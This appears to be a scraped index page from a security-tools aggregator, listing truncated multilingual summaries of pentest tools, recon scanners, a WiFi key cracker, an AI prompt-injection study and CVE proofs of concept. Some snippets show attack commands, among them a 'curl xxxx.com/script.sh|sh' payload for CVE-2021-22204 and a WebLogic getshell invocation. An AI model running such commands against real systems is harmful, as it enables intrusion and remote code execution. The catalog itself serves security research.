POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Este es solo un script de conveniencia que escribí para pruebas. Salida root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc...

sslx

sslx openssl，但你无需去搜索标志参数。 一个单一二进制文件，处理证书、TLS连接以及所有通常需要三次不同openssl调用才能搞定的事情。基于Rust和rustls构建，无需系统OpenSSL。 安装 root@kitploit: cargo install sslx 预构建二进制文件见发布页面。 Homebrew: root@kitploit: brew install glincker/tap/sslx 或直接下载： root@kitploit: macOS Apple Silicon curl -fsSL...

cve-2018-1273

CVE-2018-1273 Spring Data Commons RCE 远程命令执行漏洞 usage root@kitploit: C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : BurpSuite request: root@kitploit: POST /account HTTP/1.1 Host:...

debugHunter

debugHunter 发现隐藏的调试端点与开发环境 漏洞赏金猎人和渗透测试者必备的 Chrome 扩展 在浏览时被动检测调试参数、敏感头部和暴露路径。 为什么选择 debugHunter？ 在漏洞赏金猎击中，发现调试端点和暴露的配置文件是一种常见技巧。debugHunter 通过被动扫描您访问的每个网站来自动化此过程，并在发现以下内容时提醒您： 🔧 调试参数 — ?debug=1、?env=dev、?XDEBUGSESSIONSTART=phpstorm 📨 敏感头部 — X-Forwarded-Host: localhost、X-Original-URL: /admin 📁 暴露路径...

ephemera

Ephemera : 零信任SSH证书颁发机构 Zero-Trust SSH Certificate Authority Ephemera 是一个轻量级、自托管的SSH证书颁发机构，旨在为基础设施实施零信任访问。它用短生命周期证书替换静态SSH密钥，集成硬件支持的WebAuthn多因素认证（MFA），并维护密码学可验证的审计追踪。 !NOTE 主源仓库 : Codeberg GitHub镜像 : GitHub（用于可用性和托管） 高层架构 root@kitploit: graph LR subgraph Client"用户（操作者）" SSH"SSH客户端" HW"硬件密钥WebAuth...

SuricataLog

SuricataLog 当我开始学习如何使用 Suricata 时，很快发现需要一个工具来检查 eve.json 文件；网上大多数教程和文档都建议安装一套环境来完成以下任务： 1. 将日志集中存储 2. 对事件（尤其是告警）进行标准化和丰富化 3. 使用前端界面来深入分析数据 这非常有用，但如果我只是想快速查看事件呢？ 迟早你会对像下面这样做而感到 无聊透顶： root@kitploit: cat eve.json | jq -r -c 'select.eventtype=="alert"|.payload'| base64 --decode SuricataLog 是一组用于解析和显示...

pythia

Introducción / tl;dr Esta herramienta escanea un archivo ejecutable en busca de datos de Delphi, incluyendo RTTI y tablas de funciones virtuales. Genera un archivo JSON con información sobre las clases y funciones identificadas, que puede utilizarse para análisis adicionales, por ejemplo: Generar...

marfil

Marfil Marfil is an extension of the Aircrack-ng suite, used to assess WiFi network security. It allows to split the work of performing long running dictionary attacks among many computers. Motivation The Aircrack-ng suite provides the aircrack-ng tool, which is a 802.11 WEP and WPA/WPA2-PSK key...

marfil

Marfil Marfil 是 Aircrack-ng 套件的扩展，用于评估 WiFi 网络安全。它允许将执行长时间字典攻击的工作分配给多台计算机。 动机 Aircrack-ng 套件提供了 aircrack-ng 工具，这是一个 802.11 WEP 和 WPA/WPA2-PSK 密钥破解程序。在破解后者时，必须使用字典或单词列表。这些字典越长，过程所需的时间就越长。根据您的硬件，甚至可能需要数天或数周。 如果您恰好有一些额外的硬件可供使用，aircrack-ng 不允许您在它们之间分配负载：您必须选择最快的硬件并坚持使用它。这正是 Marfil 发挥作用的地方。 解决方案 Marfi...

recon

O.G. AUTO-RECON 功能特性 O.G. Auto-Recon 旨在自动化初始信息收集阶段，并基于这些结果尽可能进行枚举。 本工具适用于 CTF 比赛，并且可能会产生较多噪音。（并非最隐蔽的工具……） 命令语法可在 Config 设置中轻松修改。$variable 变量名应保持不变。 如果检测到虚拟主机路由，O.G. Auto-Recon 会将主机名添加到您的 /etc/hosts 文件中，并继续枚举新发现的主机名。 DNS 枚举被限制，忽略 .com、.co、.eu、.uk 等域名……因为本工具专为 CTF 设计（例如 "hack the box"）。如果检测到 DNS...

nuubi

Nuubi 工具（扫描器、侦察） 详情 root@kitploit: 选项： -h/--help | 显示帮助信息并退出 参数： -b/--banner | 目标 IP 地址的横幅抓取 -s/--subnet | 目标子网查找 -c/--cms | 通过头部检测 CMS -d/--dns | 目标域名的 DNS 查找 -e/--extract | 从目标 URL（https/http）提取链接 -H/--http | 目标 URL 的 HTTP 头部 -n/--nmap | 目标域名的 Nmap 扫描 -S/--sub | 目标域名的子域名查找 -f/--find | 寻找共享 DNS...

nuubi

Nuubi Tools Scanner, Recon. Details root@kitploit: Options: -h/--help | Show help message and exit Arguments: -b/--banner | Banner grabing of target ip address -s/--subnet | Subnetlookup of target -c/--cms | Cms detect with headers -d/--dns | Dnslookup of target domain -e/--extract | Extract link...

CVE-2018-2628

CVE-2018-2628 WebLogic反序列化漏洞复现 weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp root@kitploit: C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | | / / | | | | \ / / | |/ /| | |...

instantbox

简 | En | 繁 instantbox 在不到 30s 内得到一个干净、开箱即用的临时 Linux 系统. 介绍 instantbox 是什么？ 它能够让你仅通过浏览器的情况下，在不到 30s 的时间内，就可以使用 web 来操作一个开箱即用的 Linux 系统，当然这里的 "系统" 是通过 docker 实现的，所以也不能直接认为就是如同 KVM 般隔离更严格的虚拟化系统。 所以 instantbox 可以用来干什么？ 1. 当你在演讲时，临时需要一个干净的 Linux 环境，你就可以尝试使用它为观众做演示 2. 当学校教学/LUG 活动需要大家一起进行 Linux...

secator

The pentester's swiss knife. Features • Supported commands • Installation • Usage • Documentation • Join us on Discord ! secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters a...

secator

渗透测试者的瑞士军刀。 功能 • 支持的命令 • 安装 • 用法 • 文档 • 加入我们的 Discord！ secator 是一个用于安全评估的任务和工作流运行器。它支持数十种知名安全工具，旨在提高渗透测试人员和安全研究人员的工作效率。 功能 精选命令列表 统一输入选项 统一输出模式 CLI 和库使用 基于 Celery 的分布式选项 从简单任务到复杂工作流的灵活性 可定制 支持的工具 secator 集成了以下工具： 欢迎通过提交 Issue 请求添加新工具，但请先确认该工具符合我们的选择标准。如果不符而您仍希望将其集成到 secator 中，您可以自行接入（请参阅开发指南）。 安装...

CVE-2026-40564

CVE-2026-40564: SSRF a través de FlinkSessionJob.spec.job.jarURI en flink-kubernetes-operator El operador Apache Flink Kubernetes no verifica el campo spec.job.jarURI en los recursos FlinkSessionJob o FlinkDeployment. Cualquier persona que pueda crear uno de esos recursos puede establecer jarURI ...

Kamerka-GUI

Kamerka GUI Kamerka GUI 是一个基于 Django 的侦察仪表板，用于发现、审查和分类暴露在互联网上的工业控制系统、物联网和医疗设备。它在一个 Web 界面中结合了 Shodan 搜索数据、Google Maps 可视化、设备截图、被动情报增强以及选定的扫描/利用辅助工具。 该应用程序通过在设备表中提供 "过滤蜜罐" 开关来帮助减少审查时的噪音。这将排除那些暴露了蜜罐风格指标的设备，从而使分析师能够首先关注可能是真实资产的设备。Kamerka 还会显示设备 "指标"...

IPI-exposure-signal

IPI Exposure Signal Este es el repositorio de código de nuestro artículo: Your Agentic LLMs Secretly Encode Latent Signals of Indirect Prompt-Injection Exposure. Versión en arXiv y enlace al artículo: https://arxiv.org/abs/2608.02657 Este repositorio implementa el pipeline de sondeo para señales...

CVE-2025-2945_PgAdmin_PoC

CVE-2025-2945PoC pgAdmin 概念验证 pgAdmin 查询工具 RCE CVE-2025-2945 – Python 概念验证 ⚠️ 免责声明 本仓库包含 CVE-2025-2945 的概念验证漏洞利用代码，这是 pgAdmin 4 9.2 之前版本中的一个严重远程代码执行漏洞。仅在你拥有或明确授权的环境中使用此代码。作者不对因使用本软件造成的任何误用或损害负责。 目录 1. 概述 2. 漏洞详情 CVE-2025-2945 3. 前提条件 4. 安装与设置 5. 用法 6. 漏洞利用流程 7. 检测与缓解 8. 许可协议 概述 本仓库提供一个独立的 Python...